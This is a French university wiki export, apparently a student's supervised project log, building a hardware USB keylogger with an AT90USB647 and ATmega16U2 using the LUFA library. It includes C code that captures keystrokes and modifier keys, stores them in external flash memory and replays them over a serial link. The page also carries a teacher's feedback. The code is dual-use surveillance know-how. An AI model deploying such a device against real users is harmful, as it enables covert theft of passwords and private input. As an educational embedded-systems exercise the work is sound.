'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un de mes arduino qui n'est plus fonctionnel.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo test mémoire par commande&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écris dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Test mémoire en écriture et lecture&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]&amp;lt;ref&amp;gt;Vidéo démo du programme KeyboardHost sur l'AT90&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapés via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, et ai filmé une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo AT90 et Arduino/LCD qui récupère les caractères&amp;lt;/ref&amp;gt;.&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'Atmega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo démo Clavier -&amp;gt; AT90 (USART) -&amp;gt; ATMEGA -&amp;gt; PC&amp;lt;/ref&amp;gt;. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai modifiés légèrement pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoie de caractère où j'envoie directement le code HID obtenue via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'Atmega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'ancien élève. Comme quoi la librairie LUFA est vraiment complète et fonctionnel.&lt;br /&gt;
&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire via l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner à envoyé tout les caractères lu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	CLKPR = (1&amp;lt;&amp;lt;CLKPCE);&lt;br /&gt;
	CLKPR = 0;&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
&lt;br /&gt;
	SetupHardware();&lt;br /&gt;
&lt;br /&gt;
	puts_P(PSTR(ESC_FG_CYAN &amp;quot;Keyboard HID Host Demo running.\r\n&amp;quot; ESC_FG_WHITE));&lt;br /&gt;
&lt;br /&gt;
	LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);&lt;br /&gt;
	GlobalInterruptEnable();&lt;br /&gt;
&lt;br /&gt;
	/* Variable for the AT45DB641E */&lt;br /&gt;
	int page_start  		 = 0;&lt;br /&gt;
	int page_actual 		 = page_start;&lt;br /&gt;
	int page_buffer_size = 0;&lt;br /&gt;
&lt;br /&gt;
	for (;;)&lt;br /&gt;
	{&lt;br /&gt;
		KeyboardHost_Task(&amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
&lt;br /&gt;
		USB_USBTask();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// ...&lt;br /&gt;
&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
    // ...&lt;br /&gt;
    /* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
	if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
		 *page_buffer_size = 0;&lt;br /&gt;
		(*page_actual)++;&lt;br /&gt;
	}&lt;br /&gt;
    &lt;br /&gt;
    /* AT45DB641E communication  */&lt;br /&gt;
    /* Recup of the data of the actual page to re-write on */&lt;br /&gt;
    unsigned char data[FLASH_PAGE_SIZE];&lt;br /&gt;
    AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the Modifier and Keycode in the array */&lt;br /&gt;
    data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
    &lt;br /&gt;
    /* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
    AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
    AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
    &lt;br /&gt;
    /* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
    while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
    	LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
    }&lt;br /&gt;
    LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
    &lt;br /&gt;
    /* Serial communication */&lt;br /&gt;
	Serial_SendByte(KeyCode);&lt;br /&gt;
	&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans ma logique, j'utilise trois variables : ''page_start'' qui est la page où l'on commence l'écriture, ''page_actual'' qui indique la page courante et ''page_buffer_size'' qui indique la taille courante du buffer de donnée afin de trouver la place de la touche à mémoriser dans le buffer, et ensuite dans la flash.&lt;br /&gt;
&lt;br /&gt;
L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égale à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écris ensuite dans la flash à la page ''page_actual''. Puis on attend que l'écriture est effectué pour passer à la tâche suivante qui est l'envoie de la touche tapé.&lt;br /&gt;
&lt;br /&gt;
Du côté de l'Atmega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoie et la réception, l'utilisation de la fonction ''Serial_SendData'' pour envoyé les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayé de faire des fonctions de réceptions de paquet lorsque l'Atmega détecte la réception d'un octet.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).&amp;lt;/s&amp;gt; Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
		uint8_t Ending_Byte;&lt;br /&gt;
		do {&lt;br /&gt;
			Ending_Byte = Serial_ReceiveByte();&lt;br /&gt;
		} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= *page_start;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
&lt;br /&gt;
			int address, j;&lt;br /&gt;
			for (address = (*page_start); address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (j = 0; j &amp;lt; ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)&lt;br /&gt;
				{&lt;br /&gt;
					/* Communicating data by serial connection */&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendByte(data[j]);&lt;br /&gt;
					Serial_SendByte(data[j+1]);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(50);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''&amp;lt;u&amp;gt;Explications :&amp;lt;/u&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMEGA vers l'AT90.&lt;br /&gt;
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.&lt;br /&gt;
* Ensuite on effectue une tâche selon le code:&lt;br /&gt;
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin de re-enregistrer une nouvelle saisie.&lt;br /&gt;
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.&lt;br /&gt;
*** On parcourt toutes les pages qui ont pu être enregistrées.&lt;br /&gt;
*** On récupère les touches tapés sur la page.&lt;br /&gt;
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).&lt;br /&gt;
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)&lt;br /&gt;
&lt;br /&gt;
A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à ''page_actual'' qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt ''FLASH_PAGE_SIZE'' - 1 fois le tableau de donnée récupéré.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Concernant la fonction de gestion de la flash du côté de l'ATMEGA :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(void)&lt;br /&gt;
{&lt;br /&gt;
	uint8_t ButtonStatus_LCL = Buttons_GetStatus();&lt;br /&gt;
&lt;br /&gt;
	/* Reset flash button */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON1){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_RESET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/* Get all the flash */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON2){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_GET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On lit quel bouton est appuyé et on le compare pour ensuite envoyé une commande via la liaison série. On peut observer un délai juste avant l'envoie de la commande qui est nécessaire pour être sur de l'envoyer qu'une seule fois. Sans ce délai, les commandes se serait envoyés plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecute rapidement et le temps entre l'appui du bouton et son relâchement, il y'a bien quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appuie et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction Flash_Task d'être executée quelques fois de trop.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin, les fonctions d'écriture du rapport de clavier ont un peu changé pour inclure le code du modifieur. Pour l'ATMEGA, on peut observer l'ajout d'une boucle qui attend que l'on lit sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t ReceivedByte;&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		do {&lt;br /&gt;
			ReceivedByte = Serial_ReceiveByte();&lt;br /&gt;
		} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData-&amp;gt;KeyCode[0]));&lt;br /&gt;
&lt;br /&gt;
		ReportData-&amp;gt;Modifier = ReceivedByte;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoie d'octet :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	//..&lt;br /&gt;
&lt;br /&gt;
		uint8_t KeyCode  = KeyboardReport.KeyCode[0];&lt;br /&gt;
		uint8_t Modifier = KeyboardReport.Modifier;&lt;br /&gt;
&lt;br /&gt;
		/* Check if a key has been pressed */&lt;br /&gt;
		if (KeyCode)&lt;br /&gt;
		{&lt;br /&gt;
			/* Toggle status LED to indicate keypress */&lt;br /&gt;
			LEDs_TurnOnLEDs(LEDS_LED2);&lt;br /&gt;
&lt;br /&gt;
			/* Serial communication */&lt;br /&gt;
			Serial_SendByte(KeyCode);&lt;br /&gt;
			Serial_SendByte(Modifier);&lt;br /&gt;
&lt;br /&gt;
			/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
			if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
				 *page_buffer_size = 0;&lt;br /&gt;
				(*page_actual)++;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			/* AT45DB641E communication */&lt;br /&gt;
			/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
			AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the Modifier and Keycode in the array */&lt;br /&gt;
			data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
			data[(*page_buffer_size)++] = Modifier;&lt;br /&gt;
&lt;br /&gt;
			/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
			AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
			AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
			/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
			while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
				LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
			}&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED2);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. Je me suis donc mis à comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essaie de code, j'ai observé qu'à chaque envoie d'octet via la liaison série et de la fonction '''''Serial_SendByte''''', on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.&lt;br /&gt;
&lt;br /&gt;
On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].&lt;br /&gt;
&lt;br /&gt;
On peut voir beaucoup de ligne commentée, mais parmis elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo démo du Keylogger&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.&lt;br /&gt;
&lt;br /&gt;
Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'ancien programme se lance à la place des nouveaux ?&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références vidéo :&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références image :&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Image&amp;quot; /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=767</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=767"/>
		<updated>2023-08-10T07:53:05Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Ajout de la vidéo démonstration du Keylogger&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
